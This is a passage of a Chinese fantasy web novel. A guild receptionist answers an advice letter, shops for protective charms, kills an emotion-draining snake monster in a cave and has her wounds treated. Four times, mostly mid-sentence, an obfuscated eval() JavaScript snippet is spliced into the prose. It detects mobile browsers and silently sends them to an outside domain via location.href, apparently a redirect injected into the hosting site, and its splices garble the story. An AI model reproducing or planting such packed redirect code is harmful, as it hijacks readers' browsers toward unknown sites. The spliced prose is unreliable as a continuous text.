卢卡：“？”他先是看看我，见我没有出言反对，就老实出门了。 “卡萝，我让乔带你来总部可不是询问一个A级任务的事情啊。”她拉长了声音抱怨，“你最近没有休息好吗，感觉没有去年见到你的时候聪明了。” 我想一个人也不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14407551|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能在短短一年就变成笨蛋。或许确实是工作太多，让我的思维变得迟缓了吧。我这才想起来最初来到王都的目的。 “小卡萝你也在分会工作了很久，积累不少经验了。要不要考虑来总部工作呢？” 这个我知道。就是传说中的升职吧。 不过很可惜……“抱歉，我暂时没有离开沃尔德分会的想法。”不如说，如果不是在沃尔德分会，我也不会去做接待员。 “这样啊，也是呢。”玛格丽特小姐似乎毫不意外我的选择，“嗯嗯，毕竟你很喜欢欧文嘛。” 这个……倒也不算错。会长大叔对我很重要。 “那就这样好了，最近我们想着要不要创新一下，开通一个接待员专栏。让每个月的《冒险者杂志》上都开通一个咨询专栏。” 不好的预感……该不会…… “思来想去，能处理好这些事情的也只有小卡萝一个人了吧，所以，可以拜托你这件事吗？” 啊……我掐了自己的大腿一把，努力让自己不要原地昏过去：“呃，这个嘛……我不太擅长这种事情。” “噗哈哈。”可能是我的表情很勉强，玛格丽特小姐一下子笑出了声，“放心好了，不会花很多时间。每个月你只要写一封回信就好了。需要回复的信件我会选好寄给你。” 这样的话倒也不是不行。等下，这不会是那个故事，就是那个“一群人在屋子里，想要开窗不被同意就提出了砸掉房顶最后如愿开窗”的故事吧！ “有很丰厚的补贴呢，毕竟《冒险者杂志》一直很畅销，帮忙给一个专栏长期供稿也能有稿费赚，我觉得是个很不错的选择。”玛格丽特小姐循循善诱，“补贴和稿费合计大约是两倍的每月工资哦。” 两倍！“好的，没有问题，请放心交给我吧！”我立马应下这件事，东方有句俗语，有钱不赚王八蛋。 这让玛格丽特小姐绽开笑容：“很好，那么这封信就是这个月需要回的信件，麻烦你尽快回信哦~能在离开王都前交给我就更好了。” 收好信件，领着蹲在办公室门口的卢卡回到了旅馆。在出公会门前，我还看见了正在排队的查理斯。看来他提前两个小时也逃不过排队的命运。顺便我也佩服总部的同事们，每天那么大的工作量还要保持微笑，真是不容易。 旅馆内，乔先生好像还没出过房门，其他人也都在忙着自己的事情。 正好趁着这个机会教教卢卡认字吧。 我小心拆开信件，指着上面的单词一边念一边让卢卡跟读：“亲爱的……” “亲爱的。” “卡萝小姐。” “卡萝、小姐。” 念到这的时候我才发觉玛格丽特小姐是早早就做好准备了，就算我当场拒绝，之后可能也会随便找个理由让这个成为我的工作。 算了，先教孩子认字。 “您好，很高兴您能阅读这封信件。” “您好、高兴、读信。” “卢卡，不要自己省略内容。”我敲了卢卡脑袋，结果那家伙反而蹭了蹭我的手。 不过我的注意力完全被下面的内容吸引住了…… “哈？恋爱话题？” 18. 工作法则十八 诶？诶？恋爱话题？ 《冒险者杂志》不是一贯以魔物介绍还有迷宫攻略那类信息为主要内容的吗？新开的栏目不也应该顺应大流和公会或者任务相关才对吗？这个恋爱话题是什么意思？不是、这种问题让我来回答吗？真的假的？ 不、等一下、卡萝。如果这份信其实在以恋爱暗喻某种不可直说的行为，又或者只是为了掩人耳目所以才在开头这么写的话……玛格丽特小姐总不可能真的让我去恋爱商谈的，对吧，对吧！ “事实上我想和您商谈的是有关恋爱的话题。前段时间有一位关系很好的朋友和我表白了但我并没有发展成超出朋友关系的想法所以我很坚定地拒绝了他也答应说依然可以以朋友的身份相处可是最近这些天他一直在躲着我我该怎么办。”语气飞快不带停顿地一口气念完了这位来信者的烦恼，我之前的两个猜想可以说是彻底破碎了。 这就是单纯的恋、爱、话、题、啊。 是玛格丽特小姐拿错信了吧，一定是这样的对吧。 我把信件叠好重新放进信封里，打算将信件还给她，就在起身的瞬间，开口朝下的信封调出了一张卡片。 卢卡替我捡了起来，念出卡片上的字：“没有、拿错、认真、回信。” 署名，确实是玛格丽特小姐的签名。 所以是《冒险者杂志》决定拓宽业务范围，发展恋爱板块了吗…… “卡萝？”卢卡戳了戳我的脑袋，我顺势倒在了沙发上。 为什么要让一个毫无感情经历的员工负责这种板块……玛格丽特小姐不是经验更丰富，更擅长这种话题吗……算了，光埋怨是没办法挣到两倍工资的。 想到只要回信就能拿到双份钱，我又从沙发上爬了起来。 嗯，总之先代入双方的视角，然后找出解决办法就行了吧？ “卡萝？”卢卡又戳了戳我，“学习？” 很有上进心啊卢卡，原来阻碍你进步的不是你自己而是根本没想起来要让你学习的我吗……啊，心好痛。 “好吧，你先试着把这上面的单词都读出来。”先给他布置个任务，这样我就有充足的时间思考了。 信件转交给卢卡，我闭上眼开始思考——如果我突然被朋友表白了的话……比起尴尬我觉得我更可能考虑是不是有事情要暗算我吧。 毕竟那个书店老板维托每次想拉着我去看电影的时候都会跟上一句“你真的是我在这个世界上最爱的人了！陪我去看吧！”虽然我的回答都是拒绝就是了。 对了，还有乔先生那个莫名其妙的“择偶标准”。该不会是想找个符合标准的人然后天天蹲在我们公会门口找我们砍价吧，这个计划也太蠢……不，也不一定，说不定会成功。如果他真的能找到像“雨天被遗弃的小狗狗”一样的家伙的话。 看来从我的视角是没办法给对方建议了，好吧，那就切换视角。现在，我是表白的那个人。 想象一下，如果我对维托表白然后被拒绝的话——额，我觉得应该不会发生这种情况。不管是真心的还是假装的，他肯定会迅速地应聘我当员工，然后把书店开成全大陆连锁。毕竟那家伙一直想把我挖过去，对我们关系的定义也只有“老板”和“顾客兼未来员工”。 维托，你这家伙怎么一点忙也帮不上啊。 现在唯一的希望就在乔先生身上了。加油啊，乔先生。 我默默加油的时候，卢卡也在努力地结结巴巴地念着信件。 “洞穴、变化、其他人。” 咦？奇怪，我刚刚好像没念过这样的内容。 我凑到盘坐在阳台上的卢卡旁边，用下巴压着他的脑袋扫视了后面的内容：“PS:听说我朋友先前进入过一个洞穴探险，回来后变化很大，就像变了一个人一样，一直蹲在房间里没出过门，请问是否有可能和这件事也有关系呢？” 细看的话这里的字迹和上面的也不一样，更浅一点。刚刚还没有，是因为在阳台上有太阳的原因所以才浮现出来了吧。应该是用了什么隐形药水，我对于这类魔法道具并不擅长所以没有发觉。 “干得好，卢卡。”我摸了摸他金色的毛绒绒脑袋，“这样的话，比起回信解决恋爱烦恼，果然还是更简单直接的办法比较适合我。” 洞穴、变化。这两个词恰巧能和丹吉尔洞穴联系到一起。 我拿起笔迅速地写完回信，打算等明早交给玛格丽特小姐。 乔先生的不对劲已经是今早艾比姐来送餐时都会偷偷问我的程度了，绝对是因为那个洞穴的原因吧。看来，得尽快启程回到丹吉尔洞穴一探究竟了。 在信的末端签上我的名字，我将两封信一起收好。 “学习？” 真令人感动，卢卡现在都还想着学习的事情，不过现在不是学习的时候了，得赶紧去置办精神类的防御道具。 站在王都最大的道具店门口，高大的立牌、华丽的店面，果然是大城市才会有的门面。我内心感叹，然后转身走进了侧边的小巷。 只有不懂行的新人才会被这种华而不实的店面迷惑，真正的好东西往往都藏在不显山漏水的小角落里。比如这家只离最大道具店五百米远的小店。 “哦，是卢卡啊。”道具店的老板抖了抖报纸，扶了扶墨镜，“还有欧文家的小姑娘，你们想买些什么？” 老板和卢卡很是熟络的样子，大概他经常光顾。我只是小时候和大叔一起来过两次，没想到对方也有印象。 “老板，精神防御类的道具有没有？” “最左边的架子上，从上往下数第三、四排就是。”老板努努嘴指了个方向就继续抖着那份泛黄了的旧报纸。 商店虽小，但五脏俱全。这里的商品种类绝对比那家橱柜上摆满了精美道具的大商店要多得多。 这里的架子全都顶着屋顶摆放，从上往下数的第三、四排是我昂起脑袋也看不清有哪些商品的程度。 “卢卡。”我拍卢卡的胳膊，又指了指地板，示意他蹲下。 等他站起来，坐在卢卡肩上的我就可以轻松平视这几排的货架了。 隔壁有梯子可以使用，但是我既不想爬上爬下确认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14422748|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要哪些商品，也不放心单手扶着梯子的我还有另一只手能够护住这些价格不会便宜的道具。至于卢卡，他可能需要踩个板凳才能看清货架上有什么，但是这家伙又不认字。他也就认得恢复药剂和魔力补充剂的标签长什么样了，我的意思是，蓝蓝绿绿的标签，不是单词。 “我看看……‘金雀歌铃’，摇响这个铃铛会发出金雀的歌声护住你的心神……‘阿卡莱班的祈祷’，合唱团的孩子们会衷心地为你祈祷……没有更详细的商品介绍吗？比如防御等级之类的？” 卢卡戳了戳我的膝盖：“翻面。” “哦。”我如他所言，把挂在商品上面的介绍卡翻过来，“防御等级A，可以承受A级魔物的精神攻击，次数*3。只有三次的话好像不太划算呐。” 这个价格都快赶上一个月的工资了，买回来还只能用三次。也不知道乔先生给不给报销。 我摸着下巴有些纠结这个铃铛到底要不要买，虽然这个铃铛外观很精致，但是它要一个月的工资；虽然是A等级的道具，价格还算合理，但是它要一个月的工资；虽然…… “虽然介绍上只能用三次，但你能找到金雀的话还是可以重新唤醒这只铃铛的。”老板见我犹豫不决，就坐在那推销，“金雀虽然罕见，但是真要想找你们也是能找到的。” 好吧，买了。 我把铃铛先挂在了卢卡的脖子上，正好上面有足够长的黑绳可以系上。 “往左边一点，卢卡。”那边的架子上没什么必要的了，换一边看看有没有群体防御类的，铃铛可以在危机时刻先借给乔先生，让他欠个人情。这个人情就可以用“找金雀”还了。 任务是保护他没错，但是合约上我有注意补充上：“危及性命时，乙方有权优先保护自己”这一点。 “咦？”两排精神防御类道具里竟然还混进了一瓶凤凰泪。虽然这个小瓶子标价便宜而且没有卡片介绍，我甚至都怀疑它不是老板店里原有的。但。这个火红的色泽以及里面还在燃烧着的凤凰尾羽——绝对是凤凰类没错。 这下子捡漏捡了个大的。结账的时候老板自己也奇怪：“我没收藏过这种东西啊……” “那就不是你店里的，请不要收这笔钱。” “你这小孩！怎么不是我店里的东西了？它就在架子上！你连三个金币也想赖掉吗？” “切……”本来想着能省则省，结果也没能省掉这三个金币。 凤凰泪还没出店门就被我收起来了，如果带到店外被识货的人看见了一定会被盯上的。在解决完乔先生的委托前还是少惹事为妙。 剩下的道具都放在了卢卡身上，除了还挂在他脖子上的铃铛和显形草之类的药草外还有一根伊奥库亚之树的树枝。伊奥库亚之树是命运神女居住的地方，栖息在那里的动物们会衔着落在地上的树枝送往大陆各处。这根树枝蕴含着庇佑的祝福，能够免除各种精神攻击。 价格也非常美丽，考虑到确实物有所值，我还是咬牙买下了。还好，卢卡也出了一半的钱，这下就能保住至少一年的工资加年终奖了。 19. 工作法则十九 再次进入丹吉尔洞穴时仍旧是我们三人，只不过少了外面的车队，只留着两位护卫在外面方便随时请求支援。 这次仍旧是卢卡、乔先生、我的顺序进入洞穴。这一次，还没走多久，我就又闻见了那股清香的薄荷味。 有了上次的经验，我们可以说是迅速地抵达了挖草药的那片区域。 “前进。”乔先生话很简洁。 我们依言前行。幽暗的洞穴深处传来悉悉索索的声音，看来之前那一路顺畅是因为魔物都在这里。 百眼蛛爬了出来，和那布满眼睛的身体对视了一眼，我就挪开了视线。怎么说呢，有点恶心。 举起弓箭，我对准那只巨大的魔物腿上的眼睛射出箭矢。卢卡也挥下银剑斩断了一只腿。 很快，被我射中的眼睛沁出黑血，那黏稠的血液滴落到地面上。黑血褪去，一只新的眼睛又在原位生长出。 被砍断腿的伤口处冒出一串浓烟，烟雾散去，一条新的肢节刺向了乔先生的方向。 啧，专挑软柿子捏吗……我随便寻了只眼睛的方位扔出箭，然后一脚踹开那支满是眼睛的腿。 “多谢。”被我拎到远离战场的乔先生向我道谢。 我没有聊天的时间，只是冲他点了点头，随后立刻进入战场。 百眼蛛是B级的魔物，这个等级并不难对付，卢卡一个人完全能够解决。难办的是这种魔物有上百颗掩护“核心”的眼睛，只要不消灭那颗“核心”的眼睛，它就能够一直再生。因为棘手，原本不打算动手的我也不得不参与战斗了。 丹吉尔洞穴出现百眼蛛，这也是一个新的情报，之后如有必要也得同步到总部才行。 “卢卡，把它的腿全砍了。”我踩着洞穴的岩壁跳上了百眼蛛的后背。额啊，全是眼睛，好恶心，好想吐。 我掏出每次出门都会备在身上的火焰弹，朝下面狠狠一扔。 “轰——”魔物在火焰中哀嚎。 “嘶——”被炸到岩壁上的我又要往下坠落，还好下面就是湖水，至少不会给我的后背又来一下。 卢卡两三步跳起在空中接住了我，借着湖中露出的岩石跳回到岸上。 “感觉我的背断了……”大概是断了几根骨头吧，不过人的身体到底有几根骨头呢？ 不怎么影响后续的路程，我拒绝了乔先生和卢卡给我包扎的提议：“不需要。不能走的时候我会不拖后腿地离开。” 里面的洞穴也有不少魔物，不过都是斩了就完事的程度，卢卡一个人足矣。 “财宝在哪里呢？”我用木箭戳了戳已经断气的长尾兔，“一只兔子也没有，不然还能打听一下……”但是那些笨笨的兔子也不太可能明白什么是财宝吧。 “这里没有。”乔先生在卢卡的陪同下检查附近得出结论，“有冒险者来过的痕迹，不过很古老了，大概是很久以前的冒险者了。” 嗯嗯，说得也是呢，毕竟就在三分钟前这里还是一个魔物巢穴，感觉它们在开派对一样。 “再往前可能就是……卡萝，你在做什么？” 我又捣了捣药草：“制药中，你听说过兔子捣药的传说吗？” “……该继续前进了。”乔先生既没有对我的笑话做出反应，也没有吐槽“现在是做这种事情的时候吗”，直接转身示意我跟上他们了。 唉，好吧，真是不懂幽默。 我捣着药草，快步跟上了他们。乔先生先前的计划根本没用嘛，到处都是魔物，人类的痕迹早就被抹去了。 希望这里的宝藏是真的宝藏，而不是那种风景啊、精神啊之类的非物质类的宝藏。我真的很讨厌所谓的“宝藏就是这样的月夜”“从高塔往下的景色不就是最美的宝藏吗？”这种套路，小说也就算了，现实中也来这套我是真的会不爽的。 背部隐隐作痛，虽然是可以忍受的程度。但是这一路除了我手中握着的木棒和木碗的撞击声外沉默得让人无法忍耐。 卢卡不爱说话，乔先生最近也很沉默呢，也没什么魔物出现了。 越往里走洞穴就越是宽敞，我环顾四周，觉得这个大小应该足够和魔物打一架了。 将碗里的药汁泼到空中，卢卡迅速握住银剑对准在绿色的药水下逐渐显出身形的魔物。 对方摇了摇蛇尾，发出了粘腻的笑声：“哎呀，没想到竟然有人带了显形草。” 噫——竟然是蛇。我后退一步说：“你要不想想办法除掉身上的味道吧，薄荷味浓到我想不发觉都难。” 之前以为是乔先生身上的味道，但是上次进入他的马车时，里面可从未传来薄荷的气味。那时候我大概就有了猜想，或许是某种魔物身上的气味。所以在去道具店的时候特地买了显形草。 “别这么说嘛，人家可是很喜欢这个味道的。”魔物扭捏地晃了晃尾巴，那条长尾如同箭矢一样迅疾地朝我扑来。 我讨厌蛇！ 几乎是用了全身的力气逃跑，我跳到最高的那处岩柱上警惕地看着那只魔物。 “哎呀，哎呀呀。”大概是男性的魔物惊讶地捂住嘴巴，“我还以为你是亚人，没想到真的像兔子一样呢。” “我才不是亚人。”我拉起弓瞄准他的脑袋，“快去死吧。” “别那么暴力啦，你不想知道你的同伴要怎么恢复吗？” “我问了你又不会说。” 我射出箭，他偏头躲过，还没来得及嘲笑我的准头，尾巴就被那支箭定在了地上。 哼，我可是瞄准卢卡的位置才射的。他会在正好的时间用剑转换木箭的方向。 “嘶！”魔物露出猩红的长舌，“你们这群家伙，我难得想和人好好聊聊，竟然拒绝我！” 和你聊天又不能原地暴富，谁要浪费时间啊。 只要把这家伙打得半死不活，然后再威胁他交出让人们恢复的办法，最好一剑斩首——非常好计划，我的箭直接瞄准脑袋。 他的尾巴倒是很有力气，挣脱后拍飞了我的箭。可惜，脑袋不是很聪明的样子，直接被卢卡用武力压制了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14436443|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “该死！”他被按在地上，头只要昂起来就会被卢卡的银剑刺穿喉咙。 “我讨厌你们！”他大声嚷嚷道，“不讲武德！又呆又蠢的两个讨厌鬼！” 我一脚踩上他脑袋：“都被打倒了，就不要挑衅胜者了。” “那是因为你们根本不受影响！”绿色的尾巴不甘地扭动，“我只能抽取人类的情绪，结果你们两个一个呆的没有情绪，一个笨的情绪没有起伏！” 嗯……呆的应该是我吧，笨是说卢卡吗？ “我要给你们取难听的绰号！呆金毛和笨兔子！” 忍不住加重了脚上的力气，让他的脑袋埋进了地里：“说谁笨呢。” 青鬼也好，这条臭蛇也好，怎么都是光嘴上花花，打起来弱到爆的类型。难道说这就是魔物的平衡之道吗？拥有灵智后就会失去武力值。但是看上去也不聪明啊…… “喂，你认识青鬼吗？” “谁啊？”他眼神呆愣，不像在说假话。那就是不认识了，不是什么要打的BOSS组织，很好。 “卡萝、处理？”卢卡显然也不知道怎么处置这个家伙。虽然这家伙脾气差得很，嘴巴也不严实，但是对于怎么恢复人类的情绪却捂得很紧。 等下，明明很容易被套话，甚至有时候我还没问自己就叽里呱啦说出来了，却对一件事保密，这可能吗？除非这家伙压根不知道怎么恢复！ “你不知道怎么恢复？”我直接问出声，观察着他的反应。 眼瞳一缩，眼神飘忽，舔了嘴唇。很好，确实不知道。 这种情况，根据《接待员万能手册》第六章第六十七条：如恶意施咒者拒不透露解咒办法或存在不知晓办法的情况，立刻解决。 不知道恢复的办法还一直吸取他人的情绪，显然是恶。没有多加废话，我握住卢卡的手用力用银剑刺穿他的喉咙。 啊，对了，还有财宝。刚刚应该多问一句的，说不定就能知道宝藏在哪里了。也不知道能不能给这家伙套个复活马甲让他原地复活——大概不行吧，毕竟没有复活马甲这种便利的东西。 而且，还有正事—— 《接待员万能手册》第六章第六十八条：如出现六十七条情景，请立刻联系总部寻求解决方案。 捞起尸体最后化成的鳞片，然后把在一旁自闭的乔先生拽了起来：“快快快，咱们赶紧回总部汇报。” 狂奔出洞穴的路上，卢卡接过我手里的乔先生，顺便抱着我冲了出去。在这时候我才发觉，后背渗出的血已经干了。回去恐怕要用小刀把衣服和皮肤割开才行。 手心中有东西发烫，我松开手掌，碧绿的鳞片发亮。似乎有源源不断的丝线从里涌出飞离，其中的一根飞进了乔先生的身体里。 啊，所以误打误撞找对了解决方案？松了一口气，我拍拍卢卡打算让他跑慢点：“卢卡……” “轰——轰——”岩石滚落的声音正朝我们逼近。糟糕，洞穴要塌了。 我改口：“跑快点，加油。” 20. 工作法则二十 我们赶在岩石堆满洞穴前逃出了。 真是千钧一发啊，刚刚有块石头好像擦着我的脸颊落下了。 乔先生被卢卡甩给了两个护卫，他似乎清醒了许多：“财宝……” 都什么时候了还想着财宝啊乔先生，我忍不住开口：“能不受伤地从洞穴里面出来已经很好了，财宝这种东西可不是能用命换来的。”我和卢卡身上都有或轻或重的伤，只有乔先生被我们保护得很好，连擦伤都没有。 “不，我是说，财宝这种东西根本就不存在。”他站直了身子揉了揉太阳穴，“我们抵达的地方就是洞穴的最深处了，但是一路上除了魔物就是岩石，一点财宝的影子也没有。” “有的。”卢卡摊开手心，那是一个球状物品。看上去很像是放映石一样的东西。 “放映石？你怎么拿到它的？”乔先生研究完给了肯定的结论，这就是一个普通的放映石没错。 卢卡三个单词就总结完过程：“洞穴、顶部、塌了。” “嗯？所以洞穴坍塌是在那时候就开始了？”卢卡所说的洞穴顶部肯定不是广泛意义的顶部，特指的是杀死那条绿蛇的洞穴。 “死了、塌了。”虽然只有两个单词，但是完全能够想象出来是在绿蛇死的同时，洞穴的顶部产生了异动。而卢卡察觉到了，并且在跑出来前拿到了这份藏于其中的放映石。 搓了搓他的脸，我夸奖卢卡：“好乖好乖，好厉害。” 疼痛或许真的会分散注意力，我一向自豪于自己灵敏的耳朵，没想到会在这方面失误。 “那要怎么办呢？王都的影院大概都已经更新完设备，不再使用老式的投影仪了吧。”公会里的那台还是乔先生卖给我们的，也不知道他手上还有没有其他设备了。如果没有的话，基本就是逮着会长大叔一个人薅羊毛了。 乔先生面色清爽了不少：“不用担心，我真好要经过沃尔德镇，到时候借你们公会的投影仪一用。” 哼，我是不可能简单借给你的。起码要把以后的放映石进货价格压到五折才行。 “卡萝、包扎。”卢卡一直没把我放下来，单臂还能抱着人这么久是不是在我没注意的时候偷偷加练了。 他一提醒，后背火烧般的疼痛瞬间就卷走了我的所有注意力。我艰难地抬手挥了挥：“那么，我们先走一步，在丹吉尔洞穴前面的那个镇子汇合吧。” 防止他们搞错，我还特意说明：“是之前发现衣鱼虫的那个镇子。” 乔先生他们在王都那边还有一大群人，如果不早点回去肯定是会担心的。我和卢卡本来就两个人，直接到距离更近的小镇上处理伤口比较方便。 几乎脱力地呆在卢卡怀里，我感觉视线都模糊了不少。 “卡萝。”卢卡突然出声喊我。 我没什么精力，只能含糊地应一句：“怎么了？” “卡萝。” “……还活着呢。”我还以为是有什么事情，原来是怕我昏过去彻底死掉。 “卡萝。” “我在。”虽然没什么力气了，但是从喉咙里憋出个单词也并不困难。 一路你喊我答，时间就这么过去了，距离拉近了不少。在我的眼皮彻底睁不开前，卢卡抵达了小镇。 “欢迎……神女在上，你们怎么搞成这幅模样！”旅馆的老板看到我们、可能主要是我浑身都是血的样子紧张地不行。 “房间、钱。”卢卡甩了一把金币给他，径直走上了二楼，推开了一间空屋子的门，把我放进浴室的浴缸里。 自己翻了个身后背朝上的我握着浴缸的边缘开口：“我就一个要求，别用那把银剑。”那剑身挺长的，虽然知道卢卡不会，但还是担心那把剑削了我的头发。 “嗯。”卢卡应了一声，抽出藏于腰间的小刀，还不忘塞了一块毛巾给我。 有些时候什么都不用说，我也能明白他的用意。这毛巾大概是怕我太痛咬到舌头，浴缸又很硬。 把毛巾叠了叠，露出最上面的小狗花纹，我安心地张开嘴咬上去。同款的毛巾我也有一条，上面的花纹都是大叔绣的。顺带一提，我的花纹是兔子。大叔的是狮子。 小刀很是锋利，我能够听见刀身划开了我的衣服，割开了已经和我的血肉黏连在一起的布料。细弱的“嗤嗤”声，那是小刀分开布料和我的皮肤时发出的声音。像是蛇在背上爬行吐着猩子发出“嘶嘶”声。蛇身绕到我的脖颈，随时都能露出毒牙撕裂我的喉咙。 按理来说，我应该警惕，为一个人握着刀随时可以轻易取走我的性命而警惕。但我只觉得眼皮沉重，就算是疼痛也不能将眼皮拉起，止不住地下坠。 “卡萝。”卢卡摇了摇我的肩。 我也知道这时候不能睡，所以咬着毛巾回了他一句含糊的“窝债（我在）”。 他处理的速度显然变快很多，单手操作的同时，另一只手举着各种恢复药水往我身上倒。 清凉的药水接触到我皮肤的时候只剩下紧咬毛巾没能骂出口的呜咽。对于逃避疼痛的本能终究战胜了坠落的眼皮，我挣扎着动了动。 可能在卢卡的观念看来，还在动就是没有死，所以他在结束整个治疗过程前都没再说话。只在不确定我生死状况的情况下倒上一瓶恢复药剂。 比起骂他折磨人，我更想骂他败家子！有这么用恢复药剂的嘛！这样用下去，等他把布料全部剥离的下一秒，我的伤口就能全部愈合了！ 浪费啊，浪费药剂啊……我狠狠咬着毛巾上的小狗图案，把他想象成是卢卡磨了磨牙。等他结束了，就算动不了我也要从床上爬起来逼着这家伙学习。 可能报复的计划更让我有活下去的动力，总之在我偷偷又骂了他第三十三遍后，伤口终于全部处理完了。 “卡萝、骨头？” “我的骨头没有多没有少，一切都是正正好。”我松开毛巾，扭了扭脖子。嗯，之前转头还觉得后背痛，现在完全不痛了。真的根本不敢想一共用了多少药剂。 卢卡连骨头都帮我接上了，这家伙冒险者退休之后在公会当个医生帮人治疗感觉也不错。 “好了，你出去，我顺便洗个澡。”检查完我后背确实恢复到可以沾水的程度，卢卡乖乖出门了。 我照了照镜子，后背一片光滑，完全想象不出来先前还是黏着衣服血肉模糊的样子。 “衣服也报废了。”从卢卡那里顺来的衬衫还没穿多久就彻底损毁，处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447654|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理伤口时血水也染红了原本白亮的部分，除了扔掉没有第二种选项了。 可惜地将衬衫还有长裤扔进垃圾桶，我干脆躺在浴缸里泡了个澡。 裹着毛巾出浴室的时候浑身清爽，卢卡蹲在浴室门口像是在等我的下个指令。 “先去楼下找旅馆老板道歉，顺便给你自己开一间房，然后去洗个澡把沾上的我的血洗干净。”我把洗干净的小狗毛巾挂在他脑袋上，跑去翻了翻刚刚因为着急直接被甩在地上的背包。 从里面掏出卢卡买的那件轻便行装，换好衣服擦着头发等待卢卡过来。 大概十分钟后，卢卡湿着脑袋过来敲门了。 “首先，紧急情况下没有选择去找医生而是自己这点值得表扬。”出门在外唯一能够信任的只有自己和手里的武器。如果真的慌了神去镇上的医院，那里病人的多少、医生的水平完全不了解，无法保证立刻能够得到治疗并且安全。 卢卡亮着眼睛，很像看到肉的隔壁大叔家的狗狗。 我把手上的兔子毛巾按到他头上搓了搓：“但是，一共用了十九瓶恢复药剂，还是最贵的那种，这是不对的。” “药剂本来就不应该以量取胜，只要一瓶就足够了……”原本想要好好唠叨一下，加强卢卡的省钱观念，但是看到他耷拉下去的脑袋，想到是担心我才这么做的我又拍拍他脑袋，“用就用吧，到时候看看能不能找乔先生报销。” 报销……大概率是不能的，毕竟又不是治疗雇主，而且还是夸张地用了那么多瓶。我都担心乔先生觉得我们在讹他。 “报销，可以。”乔先生扶了扶眼镜，“但是公会的投影仪借我用。” 原本惊讶他那么好说话的我真是浪费了能量。隔天就和我们汇合的乔先生甚至捎上了打算做任务的查理斯。 十九瓶药剂和以后进货的放映石价格…… 他手上翻看报纸的动作不停，补充道：“你想要砍放映石的价格那是不可能的，死心吧。” “好的，成交。”我干脆地同意了报销的条件，原本想砍一半价格，结果连砍的机会都不给，真小气。 乔先生又扶了扶眼镜，这次我看清了他眼底的青黑，他开口：“你们的报酬刚刚我已经给过卢卡了，你要是不打算清点一下……呵，我也没意见。” 嗯？什么意思？我立刻竖起耳朵捕捉卢卡的方位。 扒拉住卢卡，把袋子里的金币一枚枚数过才安心：“这不是没错吗……啊。”我知道了，这是一种新型的打发我离开的借口。 “卡萝小姐！”在我确认完金币数量无误，把钱袋子塞回口袋里后，查理斯像只叽叽喳喳的麻雀朝我们跑来。 “卡萝小姐，我已经拿到冒险者证了！”他亮出手里的证件，“公会说持有‘幸运冒险者之证’的冒险者只要在这上面贴上照片盖章就可以当冒险者证了！” “哦，恭喜。”我干巴巴地祝贺，“之前约好的信给你。”那天幸运抽奖的事情还没过，我就准备好了推荐信。 “太好啦！谢谢你，卡萝小姐！”他举着信件像是在看什么珍贵至极的宝物，“那我就先走一步了。” 他挥着手蹦跳着离开，像一只未经过风霜的小麻雀。 21. 工作法则二十一 “哦，所以这次你打了个大家伙回来？” “别提了，真的很难对付。” 伴随着冒险者们吵吵嚷嚷的声音，我把办理任务的手续处理好，将任务单推给面前的队伍：“BR-267任务就确认交给你们小队了，请务必小心。” “谢了卡萝。”领头的队长手指夹着单子晃了晃，“我们队伍现在可是很强的。” 这种像flag一样的话还是不要随便说比较好。我在心里默默吐槽，合格的接待员不可能在这时候扫兴。 “毕竟我们可是中了那个传说中的幸运抽奖呢！” 听到熟悉的单词，我手上的动作顿了一下。 “对了，卡萝你还不知道吧。最近镇子上一直有幸运抽奖的传言。像我们这样被选中的家伙，接下来的一段时间都会有超级好运，做什么都能成呢！” “虽然队长你这么说，但不还是不敢向喜欢的人表白吗哈哈哈！” “啰、啰嗦！” 距离从丹吉尔洞穴出来已经有一个多月了，我又恢复了早九晚五上下班的日常。看来之前那个小镇的传闻已经流行到沃尔德小镇了啊。有机会的话还挺想见识一下幸运抽奖的。 “幸运抽奖？肯定是新型骗局。相信的人才是笨蛋吧，这世界上哪有免费的午餐。”维托打了个哈欠，对我说的话题毫不感兴趣。 “虽然没有免费的午餐，但是我现在不正在吃免费的晚餐吗？”这个热狗味道还不错，面包外壳酥脆内里柔软，热狗也是汁水满满。 